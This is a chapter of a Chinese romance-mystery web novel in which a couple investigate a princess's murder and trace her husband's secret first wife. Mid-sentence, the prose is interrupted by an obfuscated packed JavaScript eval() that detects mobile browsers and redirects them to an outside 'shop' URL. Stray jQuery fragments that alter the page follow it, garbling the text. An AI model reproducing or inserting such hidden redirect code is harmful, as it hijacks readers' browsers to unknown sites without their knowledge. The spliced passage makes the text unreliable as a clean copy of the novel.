10. 第 10 章

作品:《少卿大人今日也在努力装失忆

    “所以孩子不是临月郡主的。”


    “或许是宋大人进京考试前家中妻子的孩子。”


    沈意欢语不惊人死不休,直接点明。


    剑影在一旁疯狂摇头,“不可能吧,临月郡主与宋大人感情浓厚,夫妻恩爱,很多人都知道。”


    剑影声音越说越小,他看着江敛默不作声的样子,逐渐闭上嘴,只剩一双怀疑的眼睛转来转去。


    剑影脑中飞快闪过各种想法,他忍了又忍,最后实在忍不住开口道,“就算宋大人进京前有妻子,如今都过了几年,他也没有理由杀害临月郡主吧。”


    对于剑影的想法,沈意欢呈半认可态度。


    她点点头,“的确,对于宋大人如今的地位,杀害临月郡主并不是一个好选择。”


    “可若是久无子嗣的宋大人想要孩子呢?恰好他从前的妻子怀过孕,或许那个孩子生了下来,想要地位?”


    沈意欢这么猜想着。


    半晌,江敛沉声道,“先去宋知遇老家查探情况,看他从前是否有过妻子。”


    剑影点点头,刚准备离去,就听见身后江敛再次补充。


    “记得让剑墨跟着。”


    听见这,剑影脚步踉跄一下,之前对宋知遇的猜想瞬间消失不见,只剩下自己被主子不信任的悲伤。


    剑影离开,沈意欢上前,刻意靠在江敛耳边,“夫君,闲来无事,不如我们去云香楼用膳?”


    在江敛望过来时,沈意欢恰到好处地露出一丝委屈,她伸手摸了摸肚子,“方才等宋大人许久,我都饿了。”


    闻言,江敛顿时对宋府产生了些许不满。


    他点点头,“那便去吧。”


    得到回应,沈意欢欣喜出声,“夫君真好!” 一到云香楼,沈意欢就推着江敛轻车熟路往里走。


    晚上云香楼似乎格外热闹,不少人见到江敛竟和一女子同处,纷纷投来目光。


    身处目光正中心的江敛顿感不自在,好在两人已到了包厢处。


    不过今日的芙蓉号已有人在内,沈意欢目光一转,抬脚去了隔壁牡丹号。


    一旁店小二并未阻拦,毕竟这虽是临月郡主专属,但临月郡主不在时仍是能待客的。


    坐在位上,沈意欢随口吩咐道,“那就上些牡丹号菜品吧。”


    待人离去,沈意欢转头打量着周围。


    和芙蓉号一样,牡丹号也放满了鲜花,不过放的是牡丹花罢了,但屋内桌椅茶具都比芙蓉号要更精致些。


    指尖摩挲茶杯上牡丹雕刻,沈意欢轻声开口,“这牡丹号能被临月郡主所喜,果然名不虚传,夫君觉得呢?”


    屋内,烛火烧得正盛,周围香气四溢。


    可江敛心中却莫名想到另一种香气。


    他低头,端起茶杯猛喝一口,动作急切想是在掩盖什么。


    “牡丹虽好,却不及芙蓉。”


    声音清清冷冷,又好像含着别的意思。


    说完后江敛抬头,目光不经意瞥向对面,却直直撞进一双含笑的眸子。


    见他看来,沈意欢眼中笑意更甚,伸手替江敛倒茶,“那便委屈夫君看些牡丹了。”


    门被打开,前来上菜的店小二一一将菜布好,正要离去时,沈意欢忽然开口。


    “你们陈掌柜不在吗?”


    店小二摇摇头,“回贵客,我们陈掌柜今日还没回来。”


    还没回来?


    沈意欢点点头,让人退下。


    简单吃些饭菜,沈意欢拿起帕子轻柔地擦了擦嘴,她视线看向周围,不由得被墙边书柜吸引。


    放眼望去,书柜中皆是一些女子喜爱的画本。


    正要离开时,余光却被最下面吸引。


    是宋知遇写的诗集。


    这本书似乎被人翻看过很多遍,书边都泛起毛边。


    沈意欢随意翻看着,上面注释似乎是临月郡主所写。


    身后,江敛靠近,“如何?”


    沈意欢放下诗集,笑道,“夫君是在问宋大人的文采吗?确实很不错。”


    江敛抿了抿唇,将原本要说的话咽了回去。


    瞧着他的脸色,沈意欢扑哧一声笑了,她伸手点点江敛胸膛,煞有其事开口,“不过,我觉的还是夫君更胜一筹。”


    江敛匆匆转身,“宋大人是文官,我自然比不过。”


    话虽是这么说,或者连江敛自己都没发现,他脸色明显比刚才好上不少。


    门外,江府马已等候多时,沈意欢正要上去时,腿却被一个三岁大的孩子抱住了。


    这孩子高高举起手中糖葫芦,仰着头奶声奶气地开口,“姐姐吃糖。”


    身后传来女子温润的声音,“乖乖,不要胡闹。”


    女子看了一眼前方马车,在看见车角挂着的江字时,连忙伸手将孩子抱了回去。


    她脸上带着歉意,连忙行礼,“见过江大人。”


    说完又对着沈意欢道歉,“这位姑娘,实在抱歉,孩子冲撞您了,我是临安镇王员外的妾室,今日刚进城游玩,孩子顽皮,实在抱歉弄脏了您的裙子,我可以赔您。”


    随意看了眼裙身上粘到的糖渍,沈意欢摇摇头,“无事,回去让人洗洗便可。”


    马车行驶,沈意欢回头看去,那女子正语气轻柔地教训自己孩子。


    回到沈府,想到刚才事情,沈意欢故意凑近江敛,轻声开口,“夫君可喜欢孩子?”


    江敛一愣,还没反应过来,沈意欢又再次靠近,语气越发娇软,“时候不早了,夫君要不要与我一起歇息?”


    温热的呼吸打在耳畔,身旁是专属于女子的香气。


    江敛再次愣住,他张了张嘴刚要拒绝,可身后人直接将他推进屋子,甚至还体贴地喊上管家江伯,随后转身就要回隔壁。


    看着住过几日的房间,江敛脑子还有些懵,他下意识开口,“就在这?”


    前方沈意欢脚步一顿,脸上带笑,“夫君这几日都不在这?还是说夫君想和我一起?”


    边说着沈意欢边往回走,大有一副江敛只要说想,就把他推回隔壁的架势。


    对上视线,江敛轻咳一声,掩饰思绪,“不了,你也早些休息吧。”


    沈意欢点点头,脸上笑容不减,“无事,夫君总有一天会和我一起的。”


    眼见沈意欢的身影消失在门口,江敛不知为何


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971594|193469||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,心中竟出现一抹说不上来的失落感。


    一旁站了许久的江伯更是如此。


    他看着江敛,一脸恨铁不成钢地开口,“大人,别怪老奴多嘴,总是分房不利于夫妻感情。”


    江敛抬眸扫了一眼江伯,操纵轮椅往一旁行去,声音冷冷清清,“知道多嘴还说。”


    剑影和剑墨两人效率很高,不过一日便打探清楚,已飞鸽传信回府。


    这日,江敛并未前往大理寺,他坐在书房,手中握着剑影传回来的信件,上面清楚地记录着剑影两人打探的情况。


    沈意欢端着一碟芙蓉糕浅浅走近,淡粉色裙摆随着动作轻轻飘动,隐隐露出精致绣鞋。


    “夫君。”


    随手将糕点放下,沈意欢的目光落在江敛手中书信上。


    她淡淡瞥了一眼,随后就看向江敛,语气带着些许欢喜,“夫君今日不用外出吗?早晨没看见夫君,还以为夫君背着我偷偷走了呢,多亏了江伯告诉我夫君在书房。”


    沈意欢自然地替江敛倒茶。


    江敛将手中书信放下,语气平淡,“剑影他们查清楚了,你猜的没错,宋知遇之前确实有一个妻子,名为章冉,而临月郡主的名字为林乔冉。”


    “在宋知遇进京后不久,那章冉便查出有孕。”


    沈意欢心中思绪,“所以那石座上刻的冉冉是章冉,而不是临月郡主林乔冉。那间上锁屋子也并非宋知遇与临月郡主间的信件,而是与那章冉的。”


    江敛点头,“是,只是不知为何,在宋知遇高中的消息传回后,那章冉明明被宋知遇接往京城,但京城人却从不知晓,甚至在章冉离开一月,临月郡主还特地命人前往叮嘱,不许透露出章冉信息。”


    “后来章冉消失不见,有人替她立了坟。随后临月郡主与宋知遇大婚,但每年都有人看见宋知遇独自一人返回,前往后山祭拜。”


    听完这些话,沈意欢脑中有一个大胆的猜想。


    她转头看向江敛,试探道,“夫君,不如我们再去宋府一趟。”


    江敛皱眉,并未反驳,只是开口道,“昨日再次前往时宋大人都避而不见,如今尚且没有什么证据证明宋知遇与临月郡主被杀一事有关,贸然前往怕是不妥。”


    可沈意欢却不这么认为。


    “宋知遇老家的人既然被叮嘱过便不会轻易说出这件事,就算临月郡主已死,也会因惧怕京城中势力闭口不谈,可剑影却知道如此清楚。”


    “所以,定是有人让他们说,他们才会说,夫君觉得那人会是谁呢?”


    目光对上,江敛薄唇轻启,“宋知遇。”


    两人再次前往宋府。


    和前两次不同,这次去时,宋府大门大开着,见到他们时,宋管家迎面走来,没有丝毫犹豫。


    就好像,早知道他们今日会来,一直再次等候一般。


    正如沈意欢所想,宋管家张口就说,“见过江大人、江夫人,我们大人一直在等你们。”


    江敛和沈意欢对视一眼,跟随脚步前往。


    几人再次来到熟悉的院子,院子正中间摆放着临月郡主的棺椁,而宋知遇就站在一旁,看向棺椁,神色不明。